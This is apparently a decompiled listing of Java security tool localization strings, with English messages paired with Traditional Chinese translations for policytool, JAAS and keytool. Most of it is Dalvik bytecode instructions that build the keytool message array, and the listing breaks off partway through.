                                                                              • OK to overwrite existing file filename?
                                                                              • \u78ba\u8a8d\u8986\u5beb\u73fe\u5b58\u7684\u6a94\u6848 {0}\uff1f
                                                                              • Cancel
                                                                              • \u53d6\u6d88
                                                                              • CodeBase:
                                                                              • SignedBy:
                                                                              • Add Principal
                                                                              • \u65b0\u589e Principal
                                                                              • Edit Principal
                                                                              • \u7de8\u8f2f Principal
                                                                              • Remove Principal
                                                                              • \u79fb\u9664 Principal
                                                                              • Principals:
                                                                              • Principals\uff1a
                                                                              • Add Permission
                                                                              • \u65b0\u589e\u8a31\u53ef\u6b0a
                                                                              • Edit Permission
                                                                              • \u7de8\u8f2f\u8a31\u53ef\u6b0a
                                                                              • Remove Permission
                                                                              • \u79fb\u9664\u8a31\u53ef\u6b0a
                                                                              • Done
                                                                              • \u5b8c\u6210
                                                                              • KeyStore URL:
                                                                              • \u91d1\u9470\u5132\u5b58\u5eab URL\uff1a
                                                                              • KeyStore Type:
                                                                              • \u91d1\u9470\u5132\u5b58\u5eab\u985e\u578b\ufe30
                                                                              • KeyStore Provider:
                                                                              • \u91d1\u9470\u5132\u5b58\u5eab\u63d0\u4f9b\u8005\ufe30
                                                                              • KeyStore Password URL:
                                                                              • \u91d1\u9470\u5132\u5b58\u5eab\u5bc6\u78bc URL\uff1a
                                                                              • Principals
                                                                              • Edit Principal:
                                                                              • \u7de8\u8f2f Principal\uff1a
                                                                              • Add New Principal:
                                                                              • \u52a0\u5165\u65b0 Principal\uff1a
                                                                              • Permissions
                                                                              • \u8a31\u53ef\u6b0a
                                                                              • Edit Permission:
                                                                              • Add New Permission:
                                                                              • \u52a0\u5165\u65b0\u7684\u8a31\u53ef\u6b0a
                                                                              • Signed By:
                                                                              • \u7c3d\u7f72\u4eba\uff1a
                                                                              • Cannot Specify Principal with a Wildcard Class without a Wildcard Name
                                                                              • \u6c92\u6709\u901a\u914d\u7b26\u865f\u540d\u7a31\uff0c\u7121\u6cd5\u6307\u5b9a\u542b\u6709\u901a\u914d\u7b26\u865f\u985e\u5225\u7684 Principal
                                                                              • Cannot Specify Principal without a Name
                                                                              • \u6c92\u6709\u540d\u7a31\uff0c\u7121\u6cd5\u6307\u5b9a Principal
                                                                              • Permission and Target Name must have a value
                                                                              • \u8a31\u53ef\u6b0a\u53ca\u76ee\u6a19\u5fc5\u9808\u6709\u4e00\u500b\u503c\u3002
                                                                              • Remove this Policy Entry?
                                                                              • \u79fb\u9664\u9019\u500b\u898f\u5247\u9805\u76ee\uff1f
                                                                              • Overwrite File
                                                                              • \u8986\u5beb\u6a94\u6848
                                                                              • Policy successfully written to filename
                                                                              • \u898f\u5247\u6210\u529f\u5beb\u81f3 {0}
                                                                              • null filename
                                                                              • \u7121\u6548\u7684\u6a94\u540d
                                                                              • Save changes?
                                                                              • \u5132\u5b58\u8b8a\u66f4\uff1f
                                                                              • Yes
                                                                              • No
                                                                              • Policy Entry
                                                                              • \u898f\u5247\u9805\u76ee
                                                                              • Save Changes
                                                                              • \u5132\u5b58\u8b8a\u66f4
                                                                              • No Policy Entry selected
                                                                              • \u6c92\u6709\u9078\u53d6\u898f\u5247\u9805\u76ee
                                                                              • Unable to open KeyStore: ex.toString()
                                                                              • \u7121\u6cd5\u958b\u555f\u91d1\u9470\u5132\u5b58\u5eab\uff1a{0}
                                                                              • No principal selected
                                                                              • \u672a\u9078\u53d6 Principal
                                                                              • No permission selected
                                                                              • \u6c92\u6709\u9078\u53d6\u8a31\u53ef\u6b0a
                                                                              • name
                                                                              • \u540d\u7a31
                                                                              • configuration type
                                                                              • \u914d\u7f6e\u985e\u578b
                                                                              • environment variable name
                                                                              • \u74b0\u5883\u8b8a\u6578\u540d\u7a31
                                                                              • library name
                                                                              • \u7a0b\u5f0f\u5eab\u540d\u7a31
                                                                              • package name
                                                                              • \u5957\u88dd\u8edf\u9ad4\u540d\u7a31
                                                                              • policy type
                                                                              • \u7b56\u7565\u985e\u578b
                                                                              • property name
                                                                              • \u5c6c\u6027\u540d\u7a31
                                                                              • provider name
                                                                              • \u63d0\u4f9b\u8005\u540d\u7a31
                                                                              • Principal List
                                                                              • \u4e3b\u9ad4\u6e05\u55ae
                                                                              • Permission List
                                                                              • \u6b0a\u9650\u6e05\u55ae
                                                                              • Code Base
                                                                              • \u4ee3\u78bc\u57fa\u6e96
                                                                              • KeyStore U R L:
                                                                              • \u91d1\u9470\u5132\u5b58\u5eab U R L\uff1a
                                                                              • KeyStore Password U R L:
                                                                              • \u91d1\u9470\u5132\u5b58\u5eab\u5bc6\u78bc U R L\uff1a
                                                                              • invalid null input(s)
                                                                              • \u7121\u6548\u7a7a\u8f38\u5165
                                                                              • actions can only be \'read\'
                                                                              • \u52d5\u4f5c\u53ea\u80fd\u88ab\u8b80\u53d6\'
                                                                              • permission name [name] syntax invalid:
                                                                              • \u8a31\u53ef\u6b0a\u540d\u7a31 [{0}] \u662f\u7121\u6548\u7684\u8a9e\u6cd5\uff1a
                                                                              • Credential Class not followed by a Principal Class and Name
                                                                              • \u8a8d\u8b49\u7b49\u7d1a\u672a\u63a5\u5728 Principal \u985e\u5225\u53ca\u540d\u7a31\u4e4b\u5f8c
                                                                              • Principal Class not followed by a Principal Name
                                                                              • Principal \u985e\u5225\u672a\u63a5\u5728 Principal \u540d\u7a31\u4e4b\u5f8c
                                                                              • Principal Name must be surrounded by quotes
                                                                              • Principal \u540d\u7a31\u5fc5\u9808\u4ee5\u5f15\u865f\u5708\u4f4f
                                                                              • Principal Name missing end quote
                                                                              • Principal \u540d\u7a31\u7f3a\u5c11\u4e0b\u5f15\u865f
                                                                              • PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value
                                                                              • \u5982\u679c Principal \u540d\u7a31\u4e0d\u662f\u4e00\u500b\u901a\u914d\u7b26\u865f (*) \u503c\uff0c\u90a3\u9ebc PrivateCredentialPermission Principal \u985e\u5225\u5c31\u4e0d\u6703\u662f\u4e00\u500b\u901a\u914d\u7b26\u865f (*) \u503c
                                                                              • CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name
                                                                              • CredOwner:\n\tPrincipal \u985e\u5225 = {0}\n\tPrincipal \u540d\u7a31 = {1}
                                                                              • provided null name
                                                                              • \u63d0\u4f9b\u7a7a\u540d
                                                                              • provided null keyword map
                                                                              • \u63d0\u4f9b\u7a7a\u7684\u95dc\u9375\u5b57\u5c0d\u6620
                                                                              • provided null OID map
                                                                              • \u63d0\u4f9b\u7a7a\u7684 OID \u5c0d\u6620
                                                                              • invalid null AccessControlContext provided
                                                                              • \u63d0\u4f9b\u7121\u6548\u7684\u7a7a AccessControlContext
                                                                              • invalid null action provided
                                                                              • \u63d0\u4f9b\u7121\u6548\u7684\u7a7a\u52d5\u4f5c
                                                                              • invalid null Class provided
                                                                              • \u63d0\u4f9b\u7121\u6548\u7684\u7a7a\u985e\u5225
                                                                              • Subject:\n
                                                                              • \u4e3b\u984c\uff1a\n
                                                                              • \tPrincipal:
                                                                              • \tPublic Credential:
                                                                              • \t\u516c\u7528\u8a8d\u8b49
                                                                              • \tPrivate Credentials inaccessible\n
                                                                              • \t\u79c1\u4eba\u8a8d\u8b49\u7121\u6cd5\u9032\u5165\n
                                                                              • \tPrivate Credential:
                                                                              • \t\u79c1\u4eba\u6388\u6b0a
                                                                              • \tPrivate Credential inaccessible\n
                                                                              • Subject is read-only
                                                                              • \u4e3b\u984c\u70ba\u552f\u8b80
                                                                              • attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set
                                                                              • \u8a66\u5716\u65b0\u589e\u4e00\u500b\u975e java.security.Principal \u6848\u4f8b\u7684\u7269\u4ef6\u81f3\u4e3b\u984c\u7684 Principal \u7fa4\u4e2d
                                                                              • attempting to add an object which is not an instance of class
                                                                              • \u8a66\u5716\u65b0\u589e\u4e00\u500b\u975e {0} \u6848\u4f8b\u7684\u7269\u4ef6
                                                                              • LoginModuleControlFlag:
                                                                              • Invalid null input: name
                                                                              • \u7121\u6548\u7a7a\u8f38\u5165\uff1a \u540d\u7a31
                                                                              • No LoginModules configured for name
                                                                              • \u7121\u91dd\u5c0d {0} \u914d\u7f6e\u7684 LoginModules
                                                                              • invalid null Subject provided
                                                                              • \u63d0\u4f9b\u7121\u6548\u7a7a\u4e3b\u984c
                                                                              • invalid null CallbackHandler provided
                                                                              • \u63d0\u4f9b\u7121\u6548\u7a7a CallbackHandler
                                                                              • null subject - logout called before login
                                                                              • \u7a7a\u4e3b\u984c - \u5728\u767b\u5165\u4e4b\u524d\u5373\u547c\u53eb\u767b\u51fa
                                                                              • unable to instantiate LoginModule, module, because it does not provide a no-argument constructor
                                                                              • \u7121\u6cd5\u5be6\u5217\u5316 LoginModule\uff0c{0}\uff0c\u56e0\u70ba\u5b83\u4e26\u672a\u63d0\u4f9b\u4e00\u500b\u975e\u5f15\u6578\u7684\u69cb\u9020\u51fd\u6578
                                                                              • unable to instantiate LoginModule
                                                                              • \u7121\u6cd5\u5be6\u4f8b\u5316 LoginModule
                                                                              • unable to instantiate LoginModule:
                                                                              • \u7121\u6cd5\u5275\u8a2d LoginModule\uff1a
                                                                              • unable to find LoginModule class:
                                                                              • \u7121\u6cd5\u627e\u5230 LoginModule \u985e\u5225\uff1a
                                                                              • unable to access LoginModule:
                                                                              • \u7121\u6cd5\u5b58\u53d6 LoginModule:
                                                                              • Login Failure: all modules ignored
                                                                              • \u767b\u5165\u5931\u6557\uff1a \u5ffd\u7565\u6240\u6709\u6a21\u7d44
                                                                              • java.security.policy: error parsing policy:\n\tmessage
                                                                              • java.security.policy: \u89e3\u6790\u932f\u8aa4 {0}\uff1a\n\t{1}
                                                                              • java.security.policy: error adding Permission, perm:\n\tmessage
                                                                              • java.security.policy: \u65b0\u589e\u8a31\u53ef\u6b0a\u932f\u8aa4 {0}\uff1a\n\t{1}
                                                                              • java.security.policy: error adding Entry:\n\tmessage
                                                                              • java.security.policy: \u65b0\u589e\u9805\u76ee\u932f\u8aa4\uff1a\n\t{0}
                                                                              • alias name not provided (pe.name)
                                                                              • \u5225\u540d\u540d\u7a31 ({0}) \u672a\u63d0\u4f9b
                                                                              • unable to perform substitution on alias, suffix
                                                                              • \u7121\u6cd5\u5c0d\u5225\u540d\u57f7\u884c\u66ff\u63db\uff0c{0}
                                                                              • substitution value, prefix, unsupported
                                                                              • \u4e0d\u652f\u63f4\u7684\u66ff\u63db\u503c\uff0c{0}
                                                                              • (
                                                                              • )
                                                                              • type can\'t be null
                                                                              • \u4e0d\u80fd\u70ba\u7a7a\u8f38\u5165
                                                                              • keystorePasswordURL can not be specified without also specifying keystore
                                                                              • \u6307\u5b9a keystorePasswordURL \u9700\u8981\u540c\u6642\u6307\u5b9a keystore
                                                                              • expected keystore type
                                                                              • \u9810\u671f\u7684 keystore \u985e\u578b
                                                                              • expected keystore provider
                                                                              • \u9810\u671f\u7684 keystore \u63d0\u4f9b\u8005
                                                                              • multiple Codebase expressions
                                                                              • \u591a\u52d5 Codebase \u8868\u793a\u5f0f
                                                                              • multiple SignedBy expressions
                                                                              • \u591a\u91cd SignedBy \u8868\u793a\u5f0f
                                                                              • SignedBy has empty alias
                                                                              • SignedBy \u6709\u7a7a\u5225\u540d
                                                                              • can not specify Principal with a wildcard class without a wildcard name
                                                                              • expected codeBase or SignedBy or Principal
                                                                              • \u9810\u671f\u7684 codeBase \u6216 SignedBy \u6216 Principal
                                                                              • expected permission entry
                                                                              • \u9810\u671f\u7684\u8a31\u53ef\u6b0a\u9805\u76ee
                                                                              • number
                                                                              • \u865f\u78bc
                                                                              • expected [expect], read [end of file]
                                                                              • \u9810\u671f\u7684 [{0}], \u8b80\u53d6 [end of file]
                                                                              • expected [;], read [end of file]
                                                                              • \u9810\u671f\u7684 [;], \u8b80\u53d6 [end of file]
                                                                              • line number: msg
                                                                              • \u884c {0}\uff1a {1}
                                                                              • line number: expected [expect], found [actual]
                                                                              • \u884c {0}\uff1a \u9810\u671f\u7684 [{1}]\uff0c\u767c\u73fe [{2}]
                                                                              • null principalClass or principalName
                                                                              • \u7a7a principalClass \u6216 principalName
                                                                              • PKCS11 Token [providerName] Password:
                                                                              • PKCS11 \u8a18\u865f [{0}] \u5bc6\u78bc\uff1a
                                                                              • unable to instantiate Subject-based policy
                                                                              • \u7121\u6cd5\u5275\u8a2d\u57fa\u65bc\u4e3b\u9ad4\u7684\u7b56\u7565
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/4 v6, 0x2
                                                                              2const/4 v5, 0x1
                                                                              3const/4 v4, 0x0
                                                                              4const/16 v0, 0x153
                                                                              5new-array v0, v0, [[Ljava/lang/Object;
                                                                              6new-array v1, v6, [Ljava/lang/Object;
                                                                              8const-string v2, " "
                                                                              9aput-object v2, v1, v4
                                                                              11const-string v2, " "
                                                                              12aput-object v2, v1, v5
                                                                              13aput-object v1, v0, v4
                                                                              14new-array v1, v6, [Ljava/lang/Object;
                                                                              16const-string v2, " "
                                                                              17aput-object v2, v1, v4
                                                                              19const-string v2, " "
                                                                              20aput-object v2, v1, v5
                                                                              21aput-object v1, v0, v5
                                                                              22new-array v1, v6, [Ljava/lang/Object;
                                                                              24const-string v2, " "
                                                                              25aput-object v2, v1, v4
                                                                              27const-string v2, " "
                                                                              28aput-object v2, v1, v5
                                                                              29aput-object v1, v0, v6
                                                                              30const/4 v1, 0x3
                                                                              31new-array v2, v6, [Ljava/lang/Object;
                                                                              33const-string v3, ", "
                                                                              34aput-object v3, v2, v4
                                                                              36const-string v3, ", "
                                                                              37aput-object v3, v2, v5
                                                                              38aput-object v2, v0, v1
                                                                              39const/4 v1, 0x4
                                                                              40new-array v2, v6, [Ljava/lang/Object;
                                                                              42const-string v3, "\n"
                                                                              43aput-object v3, v2, v4
                                                                              45const-string v3, "\n"
                                                                              46aput-object v3, v2, v5
                                                                              47aput-object v2, v0, v1
                                                                              48const/4 v1, 0x5
                                                                              49new-array v2, v6, [Ljava/lang/Object;
                                                                              51const-string v3, "*******************************************"
                                                                              52aput-object v3, v2, v4
                                                                              54const-string v3, "*******************************************"
                                                                              55aput-object v3, v2, v5
                                                                              56aput-object v2, v0, v1
                                                                              57const/4 v1, 0x6
                                                                              58new-array v2, v6, [Ljava/lang/Object;
                                                                              60const-string v3, "*******************************************\n\n"
                                                                              61aput-object v3, v2, v4
                                                                              63const-string v3, "*******************************************\n\n"
                                                                              64aput-object v3, v2, v5
                                                                              65aput-object v2, v0, v1
                                                                              66const/4 v1, 0x7
                                                                              67new-array v2, v6, [Ljava/lang/Object;
                                                                              69const-string v3, "keytool error: "
                                                                              70aput-object v3, v2, v4
                                                                              72const-string v3, "keytool \u932f\u8aa4\uff1a "
                                                                              73aput-object v3, v2, v5
                                                                              74aput-object v2, v0, v1
                                                                              75const/16 v1, 0x8
                                                                              76new-array v2, v6, [Ljava/lang/Object;
                                                                              78const-string v3, "Illegal option: "
                                                                              79aput-object v3, v2, v4
                                                                              81const-string v3, "\u975e\u6cd5\u9078\u9805\uff1a "
                                                                              82aput-object v3, v2, v5
                                                                              83aput-object v2, v0, v1
                                                                              84const/16 v1, 0x9
                                                                              85new-array v2, v6, [Ljava/lang/Object;
                                                                              87const-string v3, "Try keytool -help"
                                                                              88aput-object v3, v2, v4
                                                                              90const-string v3, "\u5617\u8a66 keytool -help"
                                                                              91aput-object v3, v2, v5
                                                                              92aput-object v2, v0, v1
                                                                              93const/16 v1, 0xa
                                                                              94new-array v2, v6, [Ljava/lang/Object;
                                                                              96const-string v3, "Command option <flag> needs an argument."
                                                                              97aput-object v3, v2, v4
                                                                              99const-string v3, "\u6307\u4ee4\u9078\u9805 {0} \u9700\u8981\u5f15\u6578\u3002"
                                                                              100aput-object v3, v2, v5
                                                                              101aput-object v2, v0, v1
                                                                              102const/16 v1, 0xb
                                                                              103new-array v2, v6, [Ljava/lang/Object;
                                                                              105const-string v3, "Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value."
                                                                              106aput-object v3, v2, v4
                                                                              108const-string v3, "\u8b66\u544a\ufe30PKCS12 \u91d1\u9470\u5132\u5b58\u5eab\u4e0d\u652f\u63f4\u4e0d\u540c\u7684\u5132\u5b58\u5eab\u548c\u91d1\u9470\u5bc6\u78bc\u3002\u5ffd\u7565\u4f7f\u7528\u8005\u6307\u5b9a\u7684 {0} \u503c\u3002"
                                                                              109aput-object v3, v2, v5
                                                                              110aput-object v2, v0, v1
                                                                              111const/16 v1, 0xc
                                                                              112new-array v2, v6, [Ljava/lang/Object;
                                                                              114const-string v3, "-keystore must be NONE if -storetype is {0}"
                                                                              115aput-object v3, v2, v4
                                                                              117const-string v3, "\u5982\u679c -storetype \u70ba {0}\uff0c\u5247 -keystore \u5fc5\u9808\u70ba NONE"
                                                                              118aput-object v3, v2, v5
                                                                              119aput-object v2, v0, v1
                                                                              120const/16 v1, 0xd
                                                                              121new-array v2, v6, [Ljava/lang/Object;
                                                                              123const-string v3, "Too may retries, program terminated"
                                                                              124aput-object v3, v2, v4
                                                                              126const-string v3, "\u91cd\u8a66\u6b21\u6578\u592a\u591a\uff0c\u7a0b\u5f0f\u5df2\u7d42\u6b62"
                                                                              127aput-object v3, v2, v5
                                                                              128aput-object v2, v0, v1
                                                                              129const/16 v1, 0xe
                                                                              130new-array v2, v6, [Ljava/lang/Object;
                                                                              132const-string v3, "-storepasswd and -keypasswd commands not supported if -storetype is {0}"
                                                                              133aput-object v3, v2, v4
                                                                              135const-string v3, "\u5982\u679c -storetype \u70ba {0}\uff0c\u5247\u4e0d\u652f\u63f4 -storepasswd \u548c -keypasswd \u6307\u4ee4"
                                                                              136aput-object v3, v2, v5
                                                                              137aput-object v2, v0, v1
                                                                              138const/16 v1, 0xf
                                                                              139new-array v2, v6, [Ljava/lang/Object;
                                                                              141const-string v3, "-keypasswd commands not supported if -storetype is PKCS12"
                                                                              142aput-object v3, v2, v4
                                                                              144const-string v3, "\u5982\u679c -storetype \u70ba PKCS12\uff0c\u5247 -keypasswd \u6307\u4ee4\u4e0d\u53d7\u652f\u63f4"
                                                                              145aput-object v3, v2, v5
                                                                              146aput-object v2, v0, v1
                                                                              147const/16 v1, 0x10
                                                                              148new-array v2, v6, [Ljava/lang/Object;
                                                                              150const-string v3, "-keypass and -new can not be specified if -storetype is {0}"
                                                                              151aput-object v3, v2, v4
                                                                              153const-string v3, "\u5982\u679c -storetype \u70ba {0}\uff0c\u5247\u4e0d\u80fd\u6307\u5b9a -keypass \u548c -new"
                                                                              154aput-object v3, v2, v5
                                                                              155aput-object v2, v0, v1
                                                                              156const/16 v1, 0x11
                                                                              157new-array v2, v6, [Ljava/lang/Object;
                                                                              159const-string v3, "if -protected is specified, then -storepass, -keypass, and -new must not be specified"
                                                                              160aput-object v3, v2, v4
                                                                              162const-string v3, "\u5982\u679c\u6307\u5b9a -protected\uff0c\u5247\u4e0d\u80fd\u6307\u5b9a -storepass\u3001-keypass \u548c -new"
                                                                              163aput-object v3, v2, v5
                                                                              164aput-object v2, v0, v1
                                                                              165const/16 v1, 0x12
                                                                              166new-array v2, v6, [Ljava/lang/Object;
                                                                              168const-string v3, "if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified"
                                                                              169aput-object v3, v2, v4
                                                                              171const-string v3, "\u5982\u679c\u6307\u5b9a -srcprotected\uff0c\u5247\u4e0d\u80fd\u6307\u5b9a -srcstorepass \u548c -srckeypass"
                                                                              172aput-object v3, v2, v5
                                                                              173aput-object v2, v0, v1
                                                                              174const/16 v1, 0x13
                                                                              175new-array v2, v6, [Ljava/lang/Object;
                                                                              177const-string v3, "if keystore is not password protected, then -storepass, -keypass, and -new must not be specified"
                                                                              178aput-object v3, v2, v4
                                                                              180const-string v3, "\u5982\u679c\u91d1\u9470\u5eab\u4e0d\u53d7\u5bc6\u78bc\u4fdd\u8b77\uff0c\u5247\u4e0d\u80fd\u6307\u5b9a -storepass\u3001-keypass \u548c -new"
                                                                              181aput-object v3, v2, v5
                                                                              182aput-object v2, v0, v1
                                                                              183const/16 v1, 0x14
                                                                              184new-array v2, v6, [Ljava/lang/Object;
                                                                              186const-string v3, "if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified"
                                                                              187aput-object v3, v2, v4
                                                                              189const-string v3, "\u5982\u679c\u4f86\u6e90\u91d1\u9470\u5eab\u4e0d\u53d7\u5bc6\u78bc\u4fdd\u8b77\uff0c\u5247\u4e0d\u80fd\u6307\u5b9a -srcstorepass \u548c -srckeypass"
                                                                              190aput-object v3, v2, v5
                                                                              191aput-object v2, v0, v1
                                                                              192const/16 v1, 0x15
                                                                              193new-array v2, v6, [Ljava/lang/Object;
                                                                              195const-string v3, "Validity must be greater than zero"
                                                                              196aput-object v3, v2, v4
                                                                              198const-string v3, "\u6709\u6548\u6027\u5fc5\u9808\u6bd4\u96f6\u9084\u5927"
                                                                              199aput-object v3, v2, v5
                                                                              200aput-object v2, v0, v1
                                                                              201const/16 v1, 0x16
                                                                              202new-array v2, v6, [Ljava/lang/Object;
                                                                              204const-string v3, "provName not a provider"
                                                                              205aput-object v3, v2, v4
                                                                              207const-string v3, "{0} \u4e0d\u662f\u4e00\u500b\u63d0\u4f9b\u8005"
                                                                              208aput-object v3, v2, v5
                                                                              209aput-object v2, v0, v1
                                                                              210const/16 v1, 0x17
                                                                              211new-array v2, v6, [Ljava/lang/Object;
                                                                              213const-string v3, "Usage error: no command provided"
                                                                              214aput-object v3, v2, v4
                                                                              216const-string v3, "\u7528\u6cd5\u932f\u8aa4\uff1a\u672a\u63d0\u4f9b\u6307\u4ee4"
                                                                              217aput-object v3, v2, v5
                                                                              218aput-object v2, v0, v1
                                                                              219const/16 v1, 0x18
                                                                              220new-array v2, v6, [Ljava/lang/Object;
                                                                              222const-string v3, "Usage error, <arg> is not a legal command"
                                                                              223aput-object v3, v2, v4
                                                                              225const-string v3, "\u7528\u6cd5\u932f\u8aa4\uff0c{0} \u4e0d\u662f\u5408\u6cd5\u6307\u4ee4"
                                                                              226aput-object v3, v2, v5
                                                                              227aput-object v2, v0, v1
                                                                              228const/16 v1, 0x19
                                                                              229new-array v2, v6, [Ljava/lang/Object;
                                                                              231const-string v3, "Source keystore file exists, but is empty: "
                                                                              232aput-object v3, v2, v4
                                                                              234const-string v3, "\u4f86\u6e90\u91d1\u9470\u5132\u5b58\u5eab\u6a94\u6848\u5b58\u5728\uff0c\u4f46\u70ba\u7a7a\uff1a"
                                                                              235aput-object v3, v2, v5
                                                                              236aput-object v2, v0, v1
                                                                              237const/16 v1, 0x1a
                                                                              238new-array v2, v6, [Ljava/lang/Object;
                                                                              240const-string v3, "Please specify -srckeystore"
                                                                              241aput-object v3, v2, v4
                                                                              243const-string v3, "\u8acb\u6307\u5b9a -srckeystore"
                                                                              244aput-object v3, v2, v5
                                                                              245aput-object v2, v0, v1
                                                                              246const/16 v1, 0x1b
                                                                              247new-array v2, v6, [Ljava/lang/Object;
                                                                              249const-string v3, "Must not specify both -v and -rfc with \'list\' command"
                                                                              250aput-object v3, v2, v4
                                                                              252const-string v3, "\u4e0d\u5f97\u4ee5\u300c\u6e05\u55ae\u300d\u6307\u4ee4\u6307\u5b9a -v \u53ca -rfc"
                                                                              253aput-object v3, v2, v5
                                                                              254aput-object v2, v0, v1
                                                                              255const/16 v1, 0x1c
                                                                              256new-array v2, v6, [Ljava/lang/Object;
                                                                              258const-string v3, "Key password must be at least 6 characters"
                                                                              259aput-object v3, v2, v4
                                                                              261const-string v3, "\u95dc\u9375\u5bc6\u78bc\u5fc5\u9808\u81f3\u5c11\u70ba 6 \u500b\u5b57\u5143"
                                                                              262aput-object v3, v2, v5
                                                                              263aput-object v2, v0, v1
                                                                              264const/16 v1, 0x1d
                                                                              265new-array v2, v6, [Ljava/lang/Object;
                                                                              267const-string v3, "New password must be at least 6 characters"
                                                                              268aput-object v3, v2, v4
                                                                              270const-string v3, "\u65b0\u7684\u5bc6\u78bc\u5fc5\u9808\u81f3\u5c11\u70ba 6 \u500b\u5b57\u5143"
                                                                              271aput-object v3, v2, v5
                                                                              272aput-object v2, v0, v1
                                                                              273const/16 v1, 0x1e
                                                                              274new-array v2, v6, [Ljava/lang/Object;
                                                                              276const-string v3, "Keystore file exists, but is empty: "
                                                                              277aput-object v3, v2, v4
                                                                              279const-string v3, "Keystore \u6a94\u6848\u5b58\u5728\uff0c\u4f46\u70ba\u7a7a\u767d\uff1a "
                                                                              280aput-object v3, v2, v5
                                                                              281aput-object v2, v0, v1
                                                                              282const/16 v1, 0x1f
                                                                              283new-array v2, v6, [Ljava/lang/Object;
                                                                              285const-string v3, "Keystore file does not exist: "
                                                                              286aput-object v3, v2, v4
                                                                              288const-string v3, "Keystore \u6a94\u6848\u4e0d\u5b58\u5728\uff1a "
                                                                              289aput-object v3, v2, v5
                                                                              290aput-object v2, v0, v1
                                                                              291const/16 v1, 0x20
                                                                              292new-array v2, v6, [Ljava/lang/Object;
                                                                              294const-string v3, "Must specify destination alias"
                                                                              295aput-object v3, v2, v4
                                                                              297const-string v3, "\u5fc5\u9808\u6307\u5b9a\u76ee\u7684\u5730\u5225\u540d"
                                                                              298aput-object v3, v2, v5
                                                                              299aput-object v2, v0, v1
                                                                              300const/16 v1, 0x21
                                                                              301new-array v2, v6, [Ljava/lang/Object;
                                                                              303const-string v3, "Must specify alias"
                                                                              304aput-object v3, v2, v4
                                                                              306const-string v3, "\u5fc5\u9808\u6307\u5b9a\u5225\u540d"
                                                                              307aput-object v3, v2, v5
                                                                              308aput-object v2, v0, v1
                                                                              309const/16 v1, 0x22
                                                                              310new-array v2, v6, [Ljava/lang/Object;
                                                                              312const-string v3, "Keystore password must be at least 6 characters"
                                                                              313aput-object v3, v2, v4
                                                                              315const-string v3, "Keystore \u5bc6\u78bc\u5fc5\u9808\u81f3\u5c11\u70ba 6 \u500b\u5b57\u5143"
                                                                              316aput-object v3, v2, v5
                                                                              317aput-object v2, v0, v1
                                                                              318const/16 v1, 0x23
                                                                              319new-array v2, v6, [Ljava/lang/Object;
                                                                              321const-string v3, "Enter keystore password: "
                                                                              322aput-object v3, v2, v4
                                                                              324const-string v3, "\u8f38\u5165 keystore \u5bc6\u78bc\uff1a "
                                                                              325aput-object v3, v2, v5
                                                                              326aput-object v2, v0, v1
                                                                              327const/16 v1, 0x24
                                                                              328new-array v2, v6, [Ljava/lang/Object;
                                                                              330const-string v3, "Enter source keystore password: "
                                                                              331aput-object v3, v2, v4
                                                                              333const-string v3, "\u8acb\u8f38\u5165\u4f86\u6e90\u91d1\u9470\u5132\u5b58\u5eab\u5bc6\u78bc\uff1a"
                                                                              334aput-object v3, v2, v5
                                                                              335aput-object v2, v0, v1
                                                                              336const/16 v1, 0x25
                                                                              337new-array v2, v6, [Ljava/lang/Object;
                                                                              339const-string v3, "Enter destination keystore password: "
                                                                              340aput-object v3, v2, v4
                                                                              342const-string v3, "\u8acb\u8f38\u5165\u76ee\u6a19\u91d1\u9470\u5132\u5b58\u5eab\u5bc6\u78bc\uff1a"
                                                                              343aput-object v3, v2, v5
                                                                              344aput-object v2, v0, v1
                                                                              345const/16 v1, 0x26
                                                                              346new-array v2, v6, [Ljava/lang/Object;
                                                                              348const-string v3, "Keystore password is too short - must be at least 6 characters"
                                                                              349aput-object v3, v2, v4
                                                                              351const-string v3, "Keystore \u5bc6\u78bc\u592a\u77ed - \u5fc5\u9808\u81f3\u5c11\u70ba 6 \u500b\u5b57\u5143"
                                                                              352aput-object v3, v2, v5
                                                                              353aput-object v2, v0, v1
                                                                              354const/16 v1, 0x27
                                                                              355new-array v2, v6, [Ljava/lang/Object;
                                                                              357const-string v3, "Unknown Entry Type"
                                                                              358aput-object v3, v2, v4
                                                                              360const-string v3, "\u4e0d\u660e\u7684\u9805\u76ee\u985e\u578b"
                                                                              361aput-object v3, v2, v5
                                                                              362aput-object v2, v0, v1
                                                                              363const/16 v1, 0x28
                                                                              364new-array v2, v6, [Ljava/lang/Object;
                                                                              366const-string v3, "Too many failures. Alias not changed"
                                                                              367aput-object v3, v2, v4
                                                                              369const-string v3, "\u592a\u591a\u932f\u8aa4\u3002\u672a\u8b8a\u66f4\u5225\u540d"
                                                                              370aput-object v3, v2, v5
                                                                              371aput-object v2, v0, v1
                                                                              372const/16 v1, 0x29
                                                                              373new-array v2, v6, [Ljava/lang/Object;
                                                                              375const-string v3, "Entry for alias <alias> successfully imported."
                                                                              376aput-object v3, v2, v4
                                                                              378const-string v3, "\u5df2\u6210\u529f\u532f\u5165\u5225\u540d {0} \u7684\u9805\u76ee\u3002"
                                                                              379aput-object v3, v2, v5
                                                                              380aput-object v2, v0, v1
                                                                              381const/16 v1, 0x2a
                                                                              382new-array v2, v6, [Ljava/lang/Object;
                                                                              384const-string v3, "Entry for alias <alias> not imported."
                                                                              385aput-object v3, v2, v4
                                                                              387const-string v3, "\u672a\u532f\u5165\u5225\u540d {0} \u7684\u9805\u76ee\u3002"
                                                                              388aput-object v3, v2, v5
                                                                              389aput-object v2, v0, v1
                                                                              390const/16 v1, 0x2b
                                                                              391new-array v2, v6, [Ljava/lang/Object;
                                                                              393const-string v3, "Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported."
                                                                              394aput-object v3, v2, v4
                                                                              396const-string v3, "\u532f\u5165\u5225\u540d {0} \u7684\u9805\u76ee\u6642\u51fa\u73fe\u554f\u984c\uff1a{1}\u3002\n\u672a\u532f\u5165\u5225\u540d {0} \u7684\u9805\u76ee\u3002"
                                                                              397aput-object v3, v2, v5
                                                                              398aput-object v2, v0, v1
                                                                              399const/16 v1, 0x2c
                                                                              400new-array v2, v6, [Ljava/lang/Object;
                                                                              402const-string v3, "Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled"
